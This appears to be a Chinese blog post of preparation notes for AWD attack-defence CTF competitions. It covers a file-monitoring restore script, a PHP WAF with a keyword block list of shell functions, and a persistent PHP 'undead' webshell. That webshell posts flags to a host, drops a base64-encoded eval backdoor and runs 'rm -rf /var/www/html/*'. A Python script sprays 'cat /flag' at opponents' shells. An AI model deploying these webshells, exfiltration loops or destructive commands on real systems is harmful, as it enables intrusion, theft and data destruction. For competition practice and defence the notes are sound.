1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import osimport jsonimport timeimport hashlibdef ListDir (path ): for file in os.listdir(path): file_path = os.path.join(path, file) if os.path.isdir(file_path): if initialization['ok' ] == 'false' : dir_list.append(file_path) else : dir_list_tmp.append(file_path) ListDir(file_path) else : if initialization['ok' ] == 'false' : file_list.append(file_path) else : file_list_tmp.append(file_path) def GetHash (): for bak in file_list: with open (bak, 'rb' ) as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() bak_dict[bak] = hash if os.path.exists('/tmp/awd_web_hash.txt' ) == False : os.system('mkdir /tmp/awd_web_bak/' ) os.system('\\cp -a {0}* /tmp/awd_web_bak/' .format (web_dir)) with open ('/tmp/awd_web_hash.txt' , 'w' ) as f: f.write(str (json.dumps(bak_dict))) for i in file_list: with open ('/tmp/awd_web_list.txt' , 'a' ) as f: f.write(i + '\n' ) for i in dir_list: with open ('/tmp/awd_web_dir.txt' , 'a' ) as f: f.write(i + '\n' ) def FileMonitor (): initialization['ok' ] = 'true' for file in os.listdir(web_dir): file_path = os.path.join(web_dir, file) if os.path.isdir(file_path): dir_list_tmp.append(file_path) ListDir(file_path) else : file_list_tmp.append(file_path) for file in file_list_tmp: with open (file, 'rb' ) as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() bak_dict_tmp[file] = hash with open ('/tmp/awd_web_hash.txt' , 'r' ) as f: real_bak_dict = json.loads(f.read()) with open ('/tmp/awd_web_list.txt' , 'r' ) as f: real_file_list = f.read().split('\n' )[0 :-1 ] with open ('/tmp/awd_web_dir.txt' , 'r' ) as f: real_dir_list = f.read().split('\n' )[0 :-1 ] for dir in real_dir_list: try : os.makedirs(dir ) print ("[del-recover]dir:{}" .format (dir )) except : pass for file in file_list_tmp: try : if real_bak_dict[file] != bak_dict_tmp[file]: os.system('\\cp {0} {1}' .format (file.replace(web_dir, '/tmp/awd_web_bak/' ), file)) print ("[modify-recover]file:{}" .format (file)) except : os.system('rm -rf {0}' .format (file)) print ("[delete]webshell:{0}" .format (file)) for real_file in real_file_list: if real_file not in file_list_tmp: os.system('\\cp {0} {1}' .format (real_file.replace(web_dir, '/tmp/awd_web_bak/' ), real_file)) print ("[del-recover]file:{0}" .format (real_file)) file_list_tmp[:] = [] dir_list_tmp[:] = [] os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/" ) web_dir = "/var/www/" file_list = [] dir_list = [] bak_dict = {} file_list_tmp = [] dir_list_tmp = [] bak_dict_tmp = {} initialization = {'ok' : 'false' } ListDir(web_dir) GetHash() while True : print (time.ctime()+" 安全" ) FileMonitor() time.sleep(1 )
文件监控脚本:https://github.com/TheKingOfDuck/FileMonitor
上WAF 如何比赛允许的话可以直接上,可能会导致服务不可用而扣分。 常见WAF添加路径
1 2 3 4 5 6 7 8 9 10 11 DiscuzX2 \config\config_global.php Wordpress \wp-config.php Metinfo \include\head.php PHPCMS V9 \phpcms\base.php PHPWIND8.7 \data\sql_config.php DEDECMS5.7 \data\common.inc.php
或者直接来个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php error_reporting (0 ); define ('LOG_FILENAME' , 'log.txt' ); function waf ( ) { if (!function_exists ('getallheaders' )) { function getallheaders ( ) { foreach ($_SERVER as $name => $value ) { if (substr ($name , 0 , 5 ) == 'HTTP_' ) $headers [str_replace (' ' , '-' , ucwords (strtolower (str_replace ('_' , ' ' , substr ($name , 5 ))))) ] = $value ; } return $headers ; } } $get = $_GET ; $post = $_POST ; $cookie = $_COOKIE ; $header = getallheaders (); $files = $_FILES ; $ip = $_SERVER ["REMOTE_ADDR" ]; $method = $_SERVER ['REQUEST_METHOD' ]; $filepath = $_SERVER ["SCRIPT_NAME" ]; foreach ($_FILES as $key => $value ) { $files [$key ]['content' ] = file_get_contents ($_FILES [$key ]['tmp_name' ]); file_put_contents ($_FILES [$key ]['tmp_name' ], "virink" ); } unset ($header ['Accept' ]); $input = array ( "Get" => $get , "Post" => $post , "Cookie" => $cookie , "File" => $files , "Header" => $header ); $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex" ; $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert" ; $pattern .= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore" ; $pattern .= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec" ; $vpattern = explode ("|" , $pattern ); $bool = false ; foreach ($input as $k => $v ) { foreach ($vpattern as $value ) { foreach ($v as $kk => $vv ) { if (preg_match ("/$value /i" , $vv )) { $bool = true ; logging ($input ); break ; } } if ($bool ) break ; } if ($bool ) break ; } } function logging ($var ) { date_default_timezone_set ("Asia/Shanghai" ); $time =date ("Y-m-d H:i:s" ); file_put_contents (LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r ($var , true ) , FILE_APPEND); } waf ();?>
WAF脚本参考:https://github.com/sharpleung/CTF-WAF https://github.com/dycsy/awd-watchbird https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF https://github.com/DasSecurity-Labs/AoiAWD 这个据说挺好用
如果没有环境:
AoiAWD/BUILD.md at master · DasSecurity-HatLab/AoiAWD
只要把生成的tapeworm.phar放到靶机上运行tapeworm.phar -s uri
就好了 虚拟机安装后上场直接用。不要用wsl,wsl不是桥接出的
奇技淫巧 修改curl 1 2 3 4 alias curl='echo fuckoff' 权限要求较低 chmod -x curl 权限要求较高 /usr/bin curl路径
不死马加强版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php function send_post ($url , $post_data ) { $postdata = http_build_query ($post_data ); $options = array ( 'http' => array ( 'method' => 'POST' , 'header' => 'Content-type:application/x-www-form-urlencoded' , 'content' => $postdata , 'timeout' => 15 * 60 ) ); $context = stream_context_create ($options );$result = file_get_contents ($url , false , $context );return $result ;} $flag_tmp ="flag{xxx}" ;@unlink ("awd2021.php" ); while (True) { $flag =system ("cat flag.txt" ); $data =array ( 'flag' => $flag ); if ($flag !=$flag_tmp ) { send_post ('http://127.0.0.1/getflag.php' , $data ); } $flag_tmp =$flag ; $shell =base64_decode ("PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4=" ); if (file_exists (".c403d59fea33113df44d465aeec336ab.php" )==0 ) { file_put_contents (".c403d59fea33113df44d465aeec336ab.php" , $shell , FILE_APPEND); } system ("rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)" ); } ?>
这个脚本仅作为例子,意思是可以删除对方的源码,如果使用这个马的时候记得命名和里面命名相同。
搅屎棍 这是最坏的打算,别的都不行的情况下只能搞这个了。
共权限 在抓到的流量往别人主机上发送,看看能不能蒙到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport timedef scan_attack (): file={'shell.php' ,'x.php' ,'index.php' } payload={'cat /flag' ,'ls -al' } while (1 ): for i in range (8802 ,8804 ): for ii in file: url='http://192.168.76.156:' +str (i)+'/' +ii for iii in payload: data={ 'payload' :iii } try : requests.post(url,data=data) print ("run:" +str (i)+'|' +ii+'|' +iii) time.sleep(0.5 ) except Exception as e: time.sleep(0.5 ) pass if __name__ == '__main__' : scan_attack()
感觉可以发点假包恶心他们🤔
总结 这里简单写一下流程,仅仅是想法 下源码d盾啥的自动化先上源码备份两份,(能上waf上),(能种高权限马就种),找服务端口,把流量分析监控之类的跑起来 开始先找主机、端口,能打就打,打不动等别人打,防住了有日志就好办。
纸上得来终觉浅,绝知此事要躬行。过两天比赛前找个机会试一试。